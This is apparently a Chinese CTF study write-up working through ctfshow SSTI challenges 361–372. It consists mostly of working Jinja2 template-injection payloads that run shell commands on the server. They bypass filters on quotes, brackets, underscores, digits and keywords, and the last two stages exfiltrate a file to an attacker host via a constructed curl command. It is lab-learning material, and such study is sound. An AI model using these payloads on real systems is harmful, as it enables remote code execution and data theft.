ctfshow-ssti
感觉这块网上直接找payload之外 没有真正理解答案 重新学习一下 顺便也要适应python了
WEB-361 无过滤
payload:{{().__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}
或者用lipsum包和cycler库
1 2 ?name={{lipsum.__globals__['os' ].popen('tac ../flag' ).read()}} ?name={{cycler.__init__.__globals__.os.popen('ls' ).read()}}
或者用控制块
1 ?name={% print (url_for.__globals__['__builtins__' ]['eval' ]("__import__('os').popen('cat ../flag').read()" ))%}
WEB-362(过滤了os.wrap_close) 用上一题的其他方式就行
WEB-363(过滤单双引号) get传参方式绕过或request.cookies.x
都行
需要注意的是url_for.__builtins__
下没有os 但是可以用eval
1 2 3 ?name={{url_for.__globals__[request.args.a][request.args.b](request.args.c).read()}}&a=os&b=popen&c=cat /flag ?name={{lipsum.__globals__.os.popen(request.args.ocean).read()}}&ocean =cat /flag ?name={{url_for.__globals__[request.args.a][request.args.b](request.args.c)}}&a=__builtins__&b=eval &c=__import__ ('os' ).popen('cat /flag' ).read()
还有就是通过config配置信息截字符 截取到os
?name={{url_for.__globals__[(config.__str__()[2])%2b(config.__str__()[42])]}}
这里需要注意就是%2b
是 +
的url编码 不加的话就会报错
WEB-364(过滤了args) 也就是我们不能get传参了直接ban了 request.args
其实还可以用cookie
1 2 ?name={{url_for.__globals__[request.cookies.a][request.cookies.b](request.cookies.c).read()}} cookie 传参:a=os;b=popen;c=cat /flag
第二种:
values可以获取所有参数 绕过args
1 ?name={{lipsum.__globals__.os.popen(request.values.x).read()}}&x=cat /flag
WEB-365(过滤了方括号) payload_1 values传参
values 没有被过滤
1 ?name={{lipsum.__globals__.os.popen(request.values.x).read()}}&x=cat /flag
或者cookie都行
payload_2 字符串拼接
[]
可以用.
或者__getitem__
本质就是它
其他师傅的脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import requestsurl="http://bbb42674-c33e-4370-b602-c3318e79fa64.challenge.ctf.show/?name={{config.__str__().__getitem__(%d)}}" payload="cat /flag" result="" for j in payload: for i in range (0 ,1000 ): r=requests.get(url=url%(i)) location=r.text.find("<h3>" ) word=r.text[location+4 :location+5 ] if word==j: print ("config.__str__().__getitem__(%d) == %s" %(i,j)) result+="config.__str__().__getitem__(%d)~" %(i) break print (result[:len (result)-1 ])
然后用~
连接起来
1 2 ?name={{url_for.__globals__.os.popen(config.__str__().__getitem__(22 )~config.__str__().__getitem__(40 )~config.__str__().__getitem__(23 )~config.__str__().__getitem__(7 )~config.__str__().__getitem__(279 )~config.__str__().__getitem__(4 )~config.__str__().__getitem__(41 )~config.__str__().__getitem__(40 )~config.__str__().__getitem__(6 ) ).read()}}
WEB-366(过滤了下划线) 可以用过滤器
1 2 ?name={{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}} cookie:a=__globals__;b=cat /flag
WEB-367(过滤了os) 1 ?name={{(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}&a=__globals__&b=os&c=cat /flag
lipsum.__globals__.get(os).popen(c=cat /flag)
最终构造是这个
由于[]
也是被waf了所以我们可以通过get(os)方式 之前我们都是lipsum.__globals__['os']
也算是一个小trick
WEB-368(过滤了左花括号) 用{%print()%}
1 ?name={%print ((lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read())%}&a=__globals__&b=os&c=cat /flag
WEB-369(过滤了request) payload_1 截取配置config构造 这类下划线被ban了 不能用__str()__
所以就要用过滤器了
获取字符串后本来要用__getitem__
问题是_
被ban了
所以这里需要转换成list然后用pop()
就可以得到我们想要的字符
师傅们的payload:
1 2 ?name={% print (lipsum|attr((config|string|list ).pop(74 ).lower()~(config|string|list ).pop(74 ).lower()~(config|string|list ).pop(6 ).lower()~(config|string|list ).pop(41 ).lower()~(config|string|list ).pop(2 ).lower()~(config|string|list ).pop(33 ).lower()~(config|string|list ).pop(40 ).lower()~(config|string|list ).pop(41 ).lower()~(config|string|list ).pop(42 ).lower()~(config|string|list ).pop(74 ).lower()~(config|string|list ).pop(74 ).lower() )).get((config|string|list ).pop(2 ).lower()~(config|string|list ).pop(42 ).lower()).popen((config|string|list ).pop(1 ).lower()~(config|string|list ).pop(40 ).lower()~(config|string|list ).pop(23 ).lower()~(config|string|list ).pop(7 ).lower()~(config|string|list ).pop(279 ).lower()~(config|string|list ).pop(4 ).lower()~(config|string|list ).pop(41 ).lower()~(config|string|list ).pop(40 ).lower()~(config|string|list ).pop(6 ).lower()).read() %}
可以来剖析一下
总体是用(config|string|list).pop(下标).lower()
这种方式去截取我们想要的字符
然后转为小写 用~
连接起来 这里还是存在那个trick 要用get('os')
去代替['os']
因为方括号被ban了
payload_2 1 2 3 4 5 6 7 8 9 10 11 ?name= {% set po=dict (po=a,p=a)|join%} {% set a=(()|select|string|list )|attr(po)(24 )%} {% set ini=(a,a,dict (init=a)|join,a,a)|join()%} {% set glo=(a,a,dict (globals =a)|join,a,a)|join()%} {% set geti=(a,a,dict (getitem=a)|join,a,a)|join()%} {% set built=(a,a,dict (builtins=a)|join,a,a)|join()%} {% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%} {% set chr =x.chr %} {% set file=chr (47 )%2bchr(102 )%2bchr(108 )%2bchr(97 )%2bchr(103 )%} {%print (x.open (file).read())%}
解释
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 构造po="pop" {% set po=dict (po=a,p=a)|join%} 等效于a=(()|select|string|list ).pop(24 ),即a等价于下划线_ {% set a=(()|select|string|list )|attr(po)(24 )%} 构造ini="___init__" {% set ini=(a,a,dict (init=a)|join,a,a)|join()%} 构造glo="__globals__" {% set glo=(a,a,dict (globals =a)|join,a,a)|join()%} 构造geti="__getitem__" {% set geti=(a,a,dict (getitem=a)|join,a,a)|join()%} 构造built="__builtins__" {% set built=(a,a,dict (builtins=a)|join,a,a)|join()%} 调用chr ()函数 注意这里q取任何值都行 没有特别的意义 {% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%} {% set chr =x.chr %} 构造file='/flag' {% set file=chr (47 )%2bchr(102 )%2bchr(108 )%2bchr(97 )%2bchr(103 )%}
WEB-370(过滤数字) 主要思路是就是用count过滤器搭配join计算字符长度获取数字 然后思路和上一题一样
payload:
1 2 3 4 5 6 7 8 9 10 11 {%set num=dict (aaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%} {%set numm=dict (aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%} {%set x=(()|select|string|list ).pop(num)%} {%set glob = (x,x,dict (globals =a)|join,x,x)|join %} {%set builtins=x~x~(dict (builtins=a)|join)~x~x%} {%set c = dict (chr =a)|join%} {%set o = dict (o=a,s=a)|join%} {%set getitem = x~x~(dict (getitem=a)|join)~x~x%} {%set chr = lipsum|attr(glob)|attr(getitem)(builtins)|attr(getitem)(c)%} {%set file = chr (numm)~dict (flag=a)|join%} {%print ((lipsum|attr(glob)|attr(getitem)(builtins)).open (file).read())%}
WEB-371(过滤print无回显) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 /?name= {%set z=dict ()|join|count%} {%set e=dict (a=a)|join|count%} {%set ee=dict (aa=a)|join|count%} {%set eee=dict (aaa=a)|join|count%} {%set eeee=dict (aaaa=a)|join|count%} {%set eeeee=dict (aaaaa=a)|join|count%} {%set eeeeee=dict (aaaaaa=a)|join|count%} {%set eeeeeee=dict (aaaaaaa=a)|join|count%} {%set eeeeeeee=dict (aaaaaaaa=a)|join|count%} {%set eeeeeeeee=dict (aaaaaaaaa=a)|join|count%} {%set eeeeeeeeee=dict (aaaaaaaaaa=a)|join|count%} {%set dayu=(()|select|string|list ).pop()%} {% set space=(()|select|string|list ).pop(eeeee*ee)%} {% set xhx=(()|select|string|list ).pop(eee*eeeeeeeee) %} {% set point=(config|string|list ).pop(eeeeeeeeee*ee*eeeeeeeeee-eeeeeeeee) %} {% set maohao=(config|string|list ).pop(ee*eeeeeee) %} {% set xiegang=(config|string|list ).pop(-eeeeeeee*eeeeeeee) %} {% set globals =(xhx,xhx,dict (globals =z)|join,xhx,xhx)|join %} {% set builtins=(xhx,xhx,dict (builtins=z)|join,xhx,xhx)|join %} {% set ohs=dict (o=z,s=z)|join %} {% set open =(lipsum|attr(globals )).get(builtins).open %} {% set result=open ((xiegang,dict (flag=z)|join)|join).read() %} {% set curlcmd=(dict (curl=z)|join,space,dict (http=z)|join,maohao,xiegang,xiegang,eeeeeeee,point,e,eee,z,point,eee,eeee,point,eeeee,eee,maohao,eeeeeee,eeeeeee,eeeeeee,eeeeeee,xiegang,result)|join %} {% set shell=(lipsum|attr(globals )).get(ohs).popen(curlcmd) %}
先构造出数字0-9 然后去截取我们想要的符号 用curl外带flag
构造出curl http://ip:port/
一开始自己一直在构造bash反弹shell的 构造了老半天 md发现-&
截取不到 没有这两个符号 太难过了 不过对过程有了更深的理解了
WEB-372(过滤了count) 用length替换就行了 然后继续curl外带
和上面payload差不多
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 /?name= {%set z=dict ()|join|length%} {%set e=dict (a=a)|join|length%} {%set ee=dict (aa=a)|join|length%} {%set eee=dict (aaa=a)|join|length%} {%set eeee=dict (aaaa=a)|join|length%} {%set eeeee=dict (aaaaa=a)|join|length%} {%set eeeeee=dict (aaaaaa=a)|join|length%} {%set eeeeeee=dict (aaaaaaa=a)|join|length%} {%set eeeeeeee=dict (aaaaaaaa=a)|join|length%} {%set eeeeeeeee=dict (aaaaaaaaa=a)|join|length%} {%set eeeeeeeeee=dict (aaaaaaaaaa=a)|join|length%} {%set dayu=(()|select|string|list ).pop()%} {% set space=(()|select|string|list ).pop(eeeee*ee)%} {% set xhx=(()|select|string|list ).pop(eee*eeeeeeeee) %} {% set point=(config|string|list ).pop(eeeeeeeeee*ee*eeeeeeeeee-eeeeeeeee) %} {% set maohao=(config|string|list ).pop(ee*eeeeeee) %} {% set xiegang=(config|string|list ).pop(-eeeeeeee*eeeeeeee) %} {% set globals =(xhx,xhx,dict (globals =z)|join,xhx,xhx)|join %} {% set builtins=(xhx,xhx,dict (builtins=z)|join,xhx,xhx)|join %} {% set ohs=dict (o=z,s=z)|join %} {% set open =(lipsum|attr(globals )).get(builtins).open %} {% set result=open ((xiegang,dict (flag=z)|join)|join).read() %} {% set curlcmd=(dict (curl=z)|join,space,dict (http=z)|join,maohao,xiegang,xiegang,eeeeeeee,point,e,eee,z,point,eee,eeee,point,eeeee,eee,maohao,eeeeeee,eeeeeee,eeeeeee,eeeeeee,xiegang,result)|join %} {% set shell=(lipsum|attr(globals )).get(ohs).popen(curlcmd) %}
成功
后言 虽然这是一个老生常谈的题目 但是自己对payload不太理解 这次刷过之后 会好很多 不至于看不懂 冲就完了